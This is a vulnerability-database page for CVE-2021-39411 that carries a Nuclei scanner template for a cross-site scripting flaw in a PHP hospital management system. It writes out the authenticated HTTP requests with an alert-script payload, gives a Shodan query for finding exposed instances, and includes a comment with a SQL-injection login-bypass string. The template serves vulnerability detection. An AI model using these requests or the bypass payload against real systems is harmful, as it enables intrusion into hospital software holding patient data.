| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2021-39411 | 5 Nov 202115:15 | – | attackerkb | |
| CVE-2021-39411 | 5 Nov 202117:26 | – | circl | |
| PHPGurukul Hospital Management System 跨站脚本漏洞 | 5 Nov 202100:00 | – | cnnvd | |
| CVE-2021-39411 | 5 Nov 202114:32 | – | cve | |
| CVE-2021-39411 | 5 Nov 202114:32 | – | cvelist | |
| EUVD-2021-25770 | 7 Oct 202500:30 | – | euvd | |
| CVE-2021-39411 | 5 Nov 202115:15 | – | nvd | |
| CVE-2021-39411 | 5 Nov 202115:15 | – | osv | |
| Cross site scripting | 5 Nov 202115:15 | – | prion | |
| PT-2021-22580 · Unknown · Phpgurukul Hospital Management System | 5 Nov 202100:00 | – | ptsecurity |
id: CVE-2021-39411
info:
name: Hospital Management System 1.0 - Cross-Site Scripting
author: arafatansari
severity: high
description: |
Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php and patient-search.php.
impact: |
Authenticated attackers can inject malicious JavaScript via XSS in the searchdata parameter, potentially stealing session cookies or performing unauthorized administrative actions.
remediation: |
Apply security patches or upgrade to Hospital Management System version 1.1 or later.
reference:
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-39411&scoretype=cvssv3
- https://nvd.nist.gov/vuln/detail/CVE-2021-39411
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2021-39411
epss-score: 0.0089
epss-percentile: 0.54994
cwe-id: CWE-79
cpe: cpe:2.3:a:phptpoint:hospital_management_system:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
shodan-query: http.html:"Hospital Management System"
comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
product: hospital_management_system
vendor: phptpoint
tags: cve,cve2021,hms,hospital,cms,xss,authenticated,vuln
http:
- raw:
- |
POST /hms/doctor/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&submit=
- |
POST /hms/doctor/search.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=
- |
POST /hms/admin/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&submit=
- |
POST /hms/admin/patient-search.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=
matchers:
- type: dsl
dsl:
- 'contains(header_2, "text/html") || contains(header_4, "text/html")'
- "status_code_2 == 200 || status_code_4 == 200"
- 'contains(body_2, ''Result against \"<script>alert(document.domain)</script>\" keyword'') || contains(body_4, ''Result against \"<script>alert(document.domain)</script>\" keyword'')'
condition: and
# digest: 4b0a00483046022100ee05dcbbc2c79e3fb500493643bd3fde14153fb1e64aad6635aebb19cc28abd7022100ee0a67028753f3928a867cf87ccbfc89a5a4567c432de4a783a77749653f00c5:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation